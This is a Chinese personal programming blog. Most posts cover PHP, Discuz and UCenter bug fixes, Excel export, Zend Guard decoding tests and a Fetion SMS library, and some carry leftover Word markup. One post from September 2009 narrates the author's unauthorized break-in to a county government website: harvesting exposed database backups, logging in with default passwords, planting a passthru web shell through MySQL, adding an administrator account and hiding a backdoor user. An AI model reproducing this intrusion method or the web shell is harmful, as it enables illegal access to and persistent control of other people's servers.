显示标签为“纯技术”的博文。显示所有博文
显示标签为“纯技术”的博文。显示所有博文

2010年5月27日星期四

以html table方式导出excel的数据类型

<?php
header("Content-type: application/octet-stream");
header("Content-Disposition: attachment; filename=member.xls;");
header("Pragma: no-cache");
header("Expires: 0");
?>
<html>
<meta content="application/vnd.ms-excel; charset=gbk" name="Content-type">
<meta content="Excel.Sheet" name="ProgId">
<meta content="PHP5" name="Generator">
<body>
<table cellpadding="3" cellspacing="1">
<?=$html_table?>
</table>
</body>
</html>


不设置数据类型的话,超长的数据会已科学计数法显示,并且数据有可能会被截断。


 


首先,我们了解一下excel从web页面上导出的原理。当我们把这些数据发送到客户端时,我们想让客户端程序(浏览器)以excel的格式读取它,所以把mime类型设为:application/vnd.ms-excel,当excel读取文件时会以每个cell的格式呈现数据,如果cell没有规定的格式,则excel会以默认的格式去呈现该cell的数据。这样就给我们提供了自定义数据格式的空间,当然我们必须使用excel支持的格式。下面就列出常用的一些格式:
1) 文本:vnd.ms-excel.numberformat:@
2) 日期:vnd.ms-excel.numberformat:yyyy/mm/dd
3) 数字:vnd.ms-excel.numberformat:#,##0.00
4) 货币:vnd.ms-excel.numberformat:¥#,##0.00
5) 百分比:vnd.ms-excel.numberformat: #0.00%
这些格式你也可以自定义,比如年月你可以定义为:yy-mm等等。那么知道了这些格式,怎么去把这些格式添加到cell中呢?很简单,我们只需要把样式添加到对应的标签对(即闭合标签)即可。如<td></td>,给标签对<td></td>添加样式,如下: <td style="vnd.ms-excel.numberformat:@">410522198402161833</td>
同样,我们也可以给<div></div>添加样式,也可以给<tr></tr>,<table></table>添加样式;当我们在父标签对和子标签对都添加样式时,数据会以哪一个样式呈现呢?经过测试,会以离数据最近的样式呈现.

2010年5月6日星期四

linux下用phpize给PHP动态添加扩展

使用php的常见问题是:编译php时忘记添加某扩展,后来想添加扩展,但是因为安装php后又装了一些东西如PEAR等,不想删除目录重装,别说,php还真有这样的功能。


我没有在手册中看到。


如我想增加bcmath支持,这是一个支持大整数计算的扩展。windows自带而且内置,linux“本类函数仅在 PHP 编译时配置了 –enable-bcmath 时可用”(引号内是手册中的话)


幸好有phpize,


方法是,要有与现有php完全相同的php压缩包。我用的是php-5.2.6.tar.gz。


展开后进入里面的ext/bcmath目录


然后执行/usr/local/php/bin/phpize,这是一个可执行的文本文件,要确保它在系统中


会发现当前目录下多了一些configure文件,


如果没报错,则


Php代码


./configure –with-php-config=/usr/local/php/bin/php-config


注意要先确保/usr/local/php/bin/php-config存在。


如果你的php安装路径不是默认的,要改。


如果没有报错,则make,再make install ,然后它告诉你一个目录


你把该目录下的bcmath.so拷贝到你php.ini中的extension_dir指向的目录中,


修改php.ini,在最后添加一句extension=bcmath.so


重启apache.

2009年12月22日星期二

不能正常解析

新配了一台主机作为测试站点  发现php可以正常解析 但页面中有很多 <?=$ters?>的代码显示

在apache内查了很久未果  最后找到php.ini中的short_open_tag = Off  将此改为On后一切正常

2009年9月4日星期五

程序源码显示带来的肉鸡

近日,google时意外发现访问某网站时(下称网站A),出现的是php文件的源码,这种情况一般是由于没有正确安装配置apache所致。某县级政府网站犯这种低级错误,实在不应该。
该网站用的是discuz 6.1的模板,有使用痕迹,主页跳转到一个ip地址连续的网站(下称网站B),判定为同一单位的网站。
查看A网站文件列表发现有数据库备份的sql文件若干。逐下载后导入本地数据库,发现用户表中的用户密码为明文保存。
至此,获得多个版主的权限。
但管理员密码md5加密且无法破解。首先怀疑程序中是否对普通用户和管理员登入分开做判断,查看相关程序文件,通过与6.1标准文件的比对,除了取消md5加密外无其他修改。
同时,想起discuz需要依赖ucenter通讯,猜测地址为/ucenter正确,但其中无数据备份文件。

进入B网站的ucenter目录,尝试ucenter administrator密码为admin成功进入,获得ucenter管理员权限。

进入ucenter后,导出数据库到本地,发现discuz管理员密码为明文,但有安全提问。通过查看A网站的密码错误记录文件,记录了错误尝试的密码的部分位和安全问题编号,发现多次密码错误时安全问题编号为1,问题是”妈妈的名字?“ 猜测不会输入真实信息,于是在B 网站用admin和已获得的密码 选择妈妈的名字  尝试答案, 发现答案就是admin(ucenter密码都用admin) 至此,获得论坛系统管理员权限。

进入后发现打开了运行sql语句功能,逐运行建立用户并授予远程登入权限语句。(就知道他肯定给当前的帐号开了所有权限),成功后即可远程登入数据库了。 至此,获得数据库管理员权限。

发现其mysql版本为过时的4.0  旧版本必然漏洞多  现在就利用它可以上传二进制文件的漏洞。

网上有多个案例都是利用该漏洞上传一.dll文件  然后通过扩展到该.dll文件建立对应的mysql函数并通过该函数来实现提升权限或其他功能。

本人愚笨,尝试多次未果。
想起通过mysql+php实现, 建立一个很简单的php文件:
<?php
if ($_REQUEST['p'])
    passthru($_REQUEST['p']);
并通过一个简单的vbs将其转换为16进制表示的二进制代码 t.rar(384 B )。并加入sql建表 导入 导出等语句使其生成在指定位置(物理路径可以通过php程序错误获得)。
再通过mysql命令行调用它。
至此,可以通过web调用系统命令了(需要php.ini设置为可以执行系统命令)

加一个用户并将该用户加入administrators组中。
至此,获得该服务器的系统administrator权限,可以通过远程桌面访问(windows 2003)

登入后按照网上的方法建立一个隐藏用户 并删除当前用户。

2009年7月29日星期三

UCENTER 1.5与discuz 6.1通讯中的BUG



Normal
0



7.8 磅
0
2

false
false
false

EN-US
ZH-CN
X-NONE




















MicrosoftInternetExplorer4





























































































































































/* Style Definitions */
table.MsoNormalTable
{mso-style-name:普通表格;
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-priority:99;
mso-style-qformat:yes;
mso-style-parent:"";
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
mso-para-margin:0cm;
mso-para-margin-bottom:.0001pt;
mso-pagination:widow-orphan;
font-size:10.5pt;
mso-bidi-font-size:11.0pt;
font-family:"Calibri","sans-serif";
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-fareast-font-family:宋体;
mso-fareast-theme-font:minor-fareast;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-bidi-font-family:"Times New Roman";
mso-bidi-theme-font:minor-bidi;
mso-font-kerning:1.0pt;}



症状:



         ucenter的后台应用管理里修改了设置或者新增了应用后,discuz后台ucenter设置中的ucenter地址会变成空,导致discuz无法正常访问ucenter,具体表现为用户短信无法打开,头像无法显示等。



 



分析与测试:



         Ucenterxml的方式传递数据给discuzdiscuz中相应的负责接收的程序为api/uc.php,该文件中看到这样一句:



$UC_API = $post['UC_API'];



         在此处,经测试发现,$post变量的数组值如下:



array (



  'item' =>



  array (



    '0_attr' =>



    array (



      'id' => '6',



    ),



    0 =>



    array (



      'item' =>



      array (



        '0_attr' =>



        array (



          'id' =>
'appid',



        ),



        0 => '6',



        '1_attr' =>



        array (



          'id' =>
'type',



        ),



        1 =>
'ECSHOP',



        '2_attr' =>



        array (



          'id' =>
'name',



        ),



        2 =>
'ECSHOP
网店',



        '3_attr' =>



        array (



          'id' =>
'url',



        ),



        3 =>
'http://workshop',



        '4_attr' =>



        array (



          'id' =>
'ip',



        ),



        4 => '',



        '5_attr' =>



        array (



          'id' =>
'viewprourl',



        ),



        5 =>
'/space.php?uid=%s',



        '6_attr' =>



        array (



          'id' =>
'apifilename',



        ),



        6 =>
'uc.php',



        '7_attr' =>



        array (



          'id' =>
'charset',



        ),



        7 => 'gbk',



        '8_attr' =>



        array (



          'id' =>
'synlogin',



        ),



        8 => '1',



        '9_attr' =>



        array (



          'id' =>
'extra',



        ),



        9 =>



        array (



          'item' =>
'',



          0 =>



          array (



            'id' =>
'apppath',



          ),



        ),



        '10_attr'
=>



        array (



          'id' =>
'recvnote',



        ),



        10 => '1',



      ),



    ),



    ......



    ......



    ......



    '6_attr' =>



    array (



      'id' =>
'UC_API',



    ),



    6 =>
'http://workuchome/ucenter',



  ),



)



         显然,$post['UC_API']得不到任何值。在uc.php中,又将获得的$UC_API写入config.inc.php文件中:



if(is_writeable(DISCUZ_ROOT.'./config.inc.php'))
{



       $configfile
= trim(file_get_contents(DISCUZ_ROOT.'./config.inc.php'));



       $configfile
= substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) :
$configfile;



       $configfile
= preg_replace("/define\('UC_API',\s*'.*?'\);/i",
"define('UC_API', '$UC_API');", $configfile);



       if($fp
= @fopen(DISCUZ_ROOT.'./config.inc.php', 'w')) {



           @fwrite($fp,
trim($configfile));



           @fclose($fp);



       }



}



    这样的话,就造成config.inc.php文件中的UC_API变为空:



define('UC_API', '');



 



解决:



         uchomeapi/uc.php中,相应的代码是这样的:



$UC_API = '';



if($post['UC_API']) {



    $UC_API
= $post['UC_API'];



    unset($post['UC_API']);



}



……



……



if($UC_API &&
is_writeable(S_ROOT.'./config.php')) {



           $configfile
= trim(file_get_contents(S_ROOT.'./config.php'));



           $configfile
= substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) :
$configfile;



           $configfile
= preg_replace("/define\('UC_API',\s*'.*?'\);/i",
"define('UC_API', '$UC_API');", $configfile);



           if($fp
= @fopen(S_ROOT.'./config.php', 'w')) {



              @fwrite($fp,
trim($configfile));



              @fclose($fp);



           }



}



    可以看出,这样的代码并不会更新config.inc.php文件,当然也不会出问题,故将discuzuc.php也改为上述形式。



    修改后经测试已

Normal
0



7.8 磅
0
2

false
false
false

EN-US
ZH-CN
X-NONE




















MicrosoftInternetExplorer4
















































































































<w:LsdException Locked="false"

2009年7月27日星期一

用户选择帖子列表排序方式后更改版面后失效的解决方案



Normal
0



7.8 磅
0
2

false
false
false

EN-US
ZH-CN
X-NONE




















MicrosoftInternetExplorer4





























































































































































/* Style Definitions */
table.MsoNormalTable
{mso-style-name:普通表格;
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-priority:99;
mso-style-qformat:yes;
mso-style-parent:"";
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
mso-para-margin:0cm;
mso-para-margin-bottom:.0001pt;
mso-pagination:widow-orphan;
font-size:10.5pt;
mso-bidi-font-size:11.0pt;
font-family:"Calibri","sans-serif";
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-fareast-font-family:宋体;
mso-fareast-theme-font:minor-fareast;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-bidi-font-family:"Times New Roman";
mso-bidi-theme-font:minor-bidi;
mso-font-kerning:1.0pt;}



症状:



         进入版面的主题列表后,默认按照回帖时间倒序排列,页面底部选择其他排序方式后(发表时间、浏览次数等),再进入其他版面或其他操作后选择的排序方式失效。



 



测试分析:



排序方式的参数以GET的方式跟在链接后面,如forumdisplay.php?fid=8&orderby=dateline&ascdesc=desc



如此来传递参数给下一页,但切换到其他版面时(或很多其他操作时)没有传递该参数,导致用户选择失效。



由于牵涉到的页面和链接众多,一一修改链接地址和函数会及其繁琐,故考虑将用户的选择存入cookie中,每次读取页面时都从cookie中取得该参数的替代方案。



 



解决:



         forumdisplay.php文件中,找到如下两行:



isset($orderby) && in_array($orderby, array('lastpost',
'dateline', 'replies', 'views')) ? $forumdisplayadd .=
"&amp;orderby=$orderby" : $orderby =
$_DCACHE['forums'][$fid]['orderby'] ? $_DCACHE['forums'][$fid]['orderby'] :
'lastpost';



 



isset($ascdesc) && in_array($ascdesc, array('ASC', 'DESC')) ?
$forumdisplayadd .= "&amp;ascdesc=$ascdesc" : $ascdesc =
$_DCACHE['forums'][$fid]['ascdesc'] ? $_DCACHE['forums'][$fid]['ascdesc'] :
'DESC';



 



注释掉这两行,并且改为:



//如果用户选择了排序方式



if (isset($orderby) && in_array($orderby,
array('lastpost', 'dateline', 'replies', 'views')))  {



    //(保留以防出错)



    $forumdisplayadd
.= "&amp;orderby=$orderby";



//将排序方式写入cookie



    dsetcookie('viewforumsorderby',
$orderby, 2592000);



}  



Else



    //cookie中有排序方式则按照该排序方式,否则按照该版面的默认设定的排序方式,如也不存在则按照默认排序(回帖时间)



    $orderby = $_DCOOKIE['viewforumsorderby']
? $_DCOOKIE['viewforumsorderby'] : ($_DCACHE['forums'][$fid]['orderby']
? $_DCACHE['forums'][$fid]['orderby'] : 'lastpost');



   



//升序/降序类似



if (isset($ascdesc) && in_array($ascdesc,
array('ASC', 'DESC')))



{



    $forumdisplayadd
.= "&amp;ascdesc=$ascdesc";



    dsetcookie('viewforumsascdesc',
$ascdesc, 2592000);



}



else



    $ascdesc = $_DCOOKIE['viewforumsascdesc']
? $_DCOOKIE['viewforumsascdesc'] : ($_DCACHE['forums'][$fid]['ascdesc']
? $_DCACHE['forums'][$fid]['ascdesc'] : 'DESC');



 



改完测试发现所有主题列表页面均能按照用户选择正常显示。

2009年7月23日星期四

DISCUZ 每日会员数不自动更新 的研究



Normal
0



7.8 磅
0
2

false
false
false

EN-US
ZH-CN
X-NONE




















MicrosoftInternetExplorer4





























































































































































/* Style Definitions */
table.MsoNormalTable
{mso-style-name:普通表格;
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-priority:99;
mso-style-qformat:yes;
mso-style-parent:"";
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
mso-para-margin:0cm;
mso-para-margin-bottom:.0001pt;
mso-pagination:widow-orphan;
font-size:10.5pt;
mso-bidi-font-size:11.0pt;
font-family:"Calibri","sans-serif";
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-fareast-font-family:宋体;
mso-fareast-theme-font:minor-fareast;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-bidi-font-family:"Times New Roman";
mso-bidi-theme-font:minor-bidi;
mso-font-kerning:1.0pt;}






症状:



Discuz 6.1 计划任务每日会员数不自动更新,需要后台更新数据缓存后才更新
如直接后台计划任务中相关计划中的“执行”按钮可以正常更新。



 



测试分析:



后台discuz自带的计划任务中建立一个测试任务test,该任务中直接运行相关更新函数:
updatecache('settings');仍然无效



查看cdb_caches中的settings变量中的totalmembers数值已更新,但缓存文件forumdata/cache/cache_settings.php中的totalmembers数值未更新。



分析程序include/cache.func.php中的updatecache函数先通过getcachearray函数取得所有需要更新的数值,并插入数据库,然后再从数据库中取得所有需要更新的变量的值,通过writetocache函数写入相关缓存文件中。



既然是这样,为何数据库中的值正确,但文件中却不正确呢?百思不得其解。发现文件建立时间已经更新,排除了文件权限问题。



再通过插入file_put_contents函数,让相关变量写入指定文件中来调试:



if ($script == "settings")



    file_put_contents("temp/updatecache_$script.txt",$cachedata);



writetocache($script, $cachenames, $cachedata);



 



function writetocache($script, $cachenames, $cachedata = '', $prefix = 'cache_')
{



if ($script == "settings")



    file_put_contents("temp/writecache_settings.txt", $cachedata);



……



……



}



 



如此测试发现 updatecache_settings.txt文件中数值正确,但writecache_settings.txt中不正确,这就更加奇怪了,为何调用writetocache前数值还是对的,进入writetocache函数后数值就变了?不可能啊!



只有一种可能:writecache_settings.txt文件又被覆盖了。



再次尝试在文件名后加上随机数发现果然有两个writecache_settings.txt,一个正确,一个不正确。



于是再次查看程序,发现include/cron.func.php中的runcron函数中在include $cronfile后有着这么一段:



$nextrun = $db->result_first("SELECT
nextrun FROM {$tablepre}crons WHERE available>'0' ORDER BY nextrun LIMIT
1");



    if(!$nextrun ===
FALSE) {



       require_once DISCUZ_ROOT.'./include/cache.func.php';



       $_DCACHE['settings']['cronnextrun']
= $nextrun;



       updatesettings();



}



查看updatesettings()函数:



function updatesettings() {



    global $_DCACHE;



    if(isset($_DCACHE['settings'])
&& is_array($_DCACHE['settings'])) {



       writetocache('settings',
'', '$_DCACHE[\'settings\'] = '.arrayeval($_DCACHE['settings']).";\n\n");



    }



}



果然,再次把$_DCACHE['settings']写入缓存文件中,而$_DCACHE['settings']在刚才并没有被更新,终于找到问题所在。



 



解决:



cache.func.php中的getcachearray函数中加入:



switch($cachename) {



       case 'settings':



           ……



           ……



           $_DCACHE['settings'] = $data;



           Break;



 



并且记得在该函数头部global $_DCACHE;



让程序在取得所有数据后 更新缓存变量$_DCACHE,以便runcron函数中调用updatesettings函数时能够将更新过的$_DCACHE写入缓存文件中。



 



测试ok,问题解决。

2009年7月22日星期三

关于zend guard各版本对php源文件的加解密的研究

测试一个php程序文件用zend safeguard 3.6加密后   在该网站:http://www.showmycode.com/解密  100%还原

<?php

/*
    [Discuz!] (C)2001-2007 Comsenz Inc.
    This is NOT a freeware, use is subject to license terms

    $Id$
*/
if(!defined('IN_DISCUZ')) {
    exit('Access Denied');
}
require_once DISCUZ_ROOT.'./include/cache.func.php';
updatecache('settings');
$db->query("UPDATE {$tablepre}advertisements SET available='0' WHERE endtime>'0' AND endtime<='$timestamp'", 'UNBUFFERED');
if($db->affected_rows()) {
    updatecache(array('advs_archiver', 'advs_register', 'advs_index', 'advs_forumdisplay', 'advs_viewthread'));
}
$db->query("TRUNCATE {$tablepre}searchindex");
$db->query("DELETE FROM {$tablepre}threadsmod WHERE dateline<'$timestamp'-31536000", 'UNBUFFERED');
$db->query("DELETE FROM {$tablepre}subscriptions WHERE lastpost<'$timestamp'-7776000", 'UNBUFFERED');
$db->query("DELETE FROM {$tablepre}forumrecommend WHERE expiration<'$timestamp'", 'UNBUFFERED');

if($qihoo['status'] && $qihoo['relatedthreads']) {
    $db->query("DELETE FROM {$tablepre}relatedthreads WHERE expiration<'$timestamp'", 'UNBUFFERED');
}

$db->query("UPDATE {$tablepre}trades SET closed='1' WHERE expiration<>0 AND expiration<'$timestamp'", 'UNBUFFERED');
$db->query("DELETE FROM {$tablepre}tradelog WHERE status=0 AND lastupdate<'".($timestamp - 5 * 86400)."'", 'UNBUFFERED');

if($cachethreadon) {
    removedir($cachethreaddir, TRUE);
}

if($regstatus > 1) {
    $db->query("UPDATE {$tablepre}invites SET status='4' WHERE expiration<'$timestamp' AND status IN ('1', '3')");
}

?>


用5.0.1试用版加密后 解密仅有少数函数名,5%左右  如下
<?php
updatecache( );
( );
updatecache( );
( );
( );
( );
( );
( );
( );
( );
removedir( );
( );
?>

用4.0.1破解版加密 (用的是strong的模式)  解密95%  部分函数名未能解密
<?php
if ( defined( "IN_DISCUZ" ) )
{
exit( "Access Denied" );
}
require_once( DISCUZ_ROOT."./include/cache.func.php" );
_obfuscate_DQ9uFl9pbTBdemw�( "settings" );
$db->query( "UPDATE ".$tablepre."advertisements SET available='0' WHERE endtime>'0' AND endtime<='{$timestamp}'", "UNBUFFERED" );
if ( $db->_obfuscate_M3V4aHc2bwENBHl1aA��( ) )
{
_obfuscate_DQ9uFl9pbTBdemw�( array( "advs_archiver", "advs_register", "advs_index", "advs_forumdisplay", "advs_viewthread" ) );
}
$db->query( "TRUNCATE ".$tablepre."searchindex" );
$db->query( "DELETE FROM ".$tablepre."threadsmod WHERE dateline<'{$timestamp}'-31536000", "UNBUFFERED" );
$db->query( "DELETE FROM ".$tablepre."subscriptions WHERE lastpost<'{$timestamp}'-7776000", "UNBUFFERED" );
$db->query( "DELETE FROM ".$tablepre."forumrecommend WHERE expiration<'{$timestamp}'", "UNBUFFERED" );
if ( $qihoo['status'] && $qihoo['relatedthreads'] )
{
$db->query( "DELETE FROM ".$tablepre."relatedthreads WHERE expiration<'{$timestamp}'", "UNBUFFERED" );
}
$db->query( "UPDATE ".$tablepre."trades SET closed='1' WHERE expiration<>0 AND expiration<'{$timestamp}'", "UNBUFFERED" );
$db->query( "DELETE FROM ".$tablepre."tradelog WHERE status=0 AND lastupdate<'".( $timestamp - 432000 )."'", "UNBUFFERED" );
if ( $cachethreadon )
{
_obfuscate_FnNlawhuLXQF( $cachethreaddir, TRUE );
}
if ( 1 < $regstatus )
{
$db->query( "UPDATE ".$tablepre."invites SET status='4' WHERE expiration<'{$timestamp}' AND status IN ('1', '3')" );
}
?>

encode 和 basic模式 100%解开



2009年5月26日星期二

IE中document.getElementById和document.getElementsByName特殊表现

HTML元素属性Id和name应该是不同的,Id犹如身份证号码,在整个页面中应该是唯一的,而name犹如姓名,在整个页面中可以重复。
     JS中document.getElementById应该是用于捕捉具有某个id属性的一个元

素,document.getElementsByName是用于捕捉具有某个name属性的多个元素.
id和name不应当混淆。这一点在firefox中没有问题,而IE中的实现却不区分id和name。


 


eg.
 <input type="text" name="t" />
 <input type="text" id="t" />



javascript:
   alert(document.getElementsByName('t').length);


 


  在firefox中表现正确,输出长度为1,而在IE中输出却是2.


 


  同样,如果使用document.getElementById('t'),在firefox中可以得到正确的id="t"的元素,而由于IE不


区分id和name,因此它将得到第一个name="t"的元素。


 
 在IE中还有一个特殊点就是:IE中div和table等元素没有name属性,使用document.getElementsByName。得不到任何值,切记!



解决办法:
  1、元素命名id和name在一个页面中最好都不要相同(避免IE混淆id和name的bug)
  2、div和table等元素结合id和document.getElementsByTagName来使用

2009年5月22日星期五

写了个页面缓存的函数

<?php
define("cacheFold","cache/");

function readFromCache($name,$expTime)
{
    $cacheName = cacheFold.$name.".cache";

    if(!file_exists($cacheName))
        return false;

    if    (((@filemtime($cacheName) + $expTime) >= time()) || $expTime==0)    //cache有效 exptime=0直接读缓存
        return file_get_contents($cacheName);
    else
    {
        @unlink($cacheName);
        return false;
    }
}

function writeToCache($name,$str)
{
    $cacheName = cacheFold.$name.".cache";
    if (file_put_contents($cacheName,$str))
        return true;
    else
    {
        echo "write cache file $name failed!!!";
        return false;
    }
}



//使用:
    //存在指定的缓存名 并且没有过期时直接返回缓存数据
    if ($s=readFromCache('cacheVarName',600)) //600秒
        return $s;
    //......后续程序处理
    writeToCache('cacheVarName',$str);//将上面程序处理后的结果存入指定的缓存中 供下次缓存读取
    return $str;
   

2009年4月13日星期一

飞信接口的开发

前几天在某论坛看到一个blog有新留言自动通过飞信免费发消息到自己手机的小程序 

于是便从里面分离出了 飞信发送的代码 发现通过socket调用了第三方网站的接口,并且该网站在本服务器(美服)上无法访问,考虑到效率和其他一些问题,开始上网查找直接连接飞信服务器的接口

找到一些,发现有些是2006版的 不能用, 有些非开源的, 。。。最终下载了一个openfetion.php的库文件,

修改两处:
1。服务器地址由https://nav.fetion.com.cn/...改为https://uid.fetion.com.cn/...
2。send_sms函数中  'T'=>$to 有误, 函数注释声称@to--〉 receiver mobile number or sid, 但均不能使用,查找了多方资料后更正为   
if (strlen($to)<11) //$to 为飞信号
    {
        $to = "sip:$to@fetion.com.cn;p=xxxx";
    }
    else //$to 为手机号
    {
        $to = "tel:$to";
    }
能正常使用。其中这里xxxx服务器并不判断,可以为任意4数字
关于这4位数字 与手机的号码段有关 这里有详细说明(GetContactList的时候服务器会给出该数字)
13开头的手机 为 手机号码前6位 - 134099
159开头的应该减去 153099

但在send sms的时候服务器并不判断,在获取用户信息的时候如该数字如有误,在返回的xml里会出现404的字样,因此猜测可能是移动a号段的信息放在A服务器上,b号段放在B服务器上……
做负载均衡,正好利用这个天然的特点。

该库文件只有基本的登入、注册、发短信、获取好友列表功能,但每个好友的信息中不包括该好友的手机号,昵称等。所以又在网上搜寻一番,终于在这里找到了开源的python库,于是自己动手diy,将各种函数移植到该php的库中,改造成自己的库文件!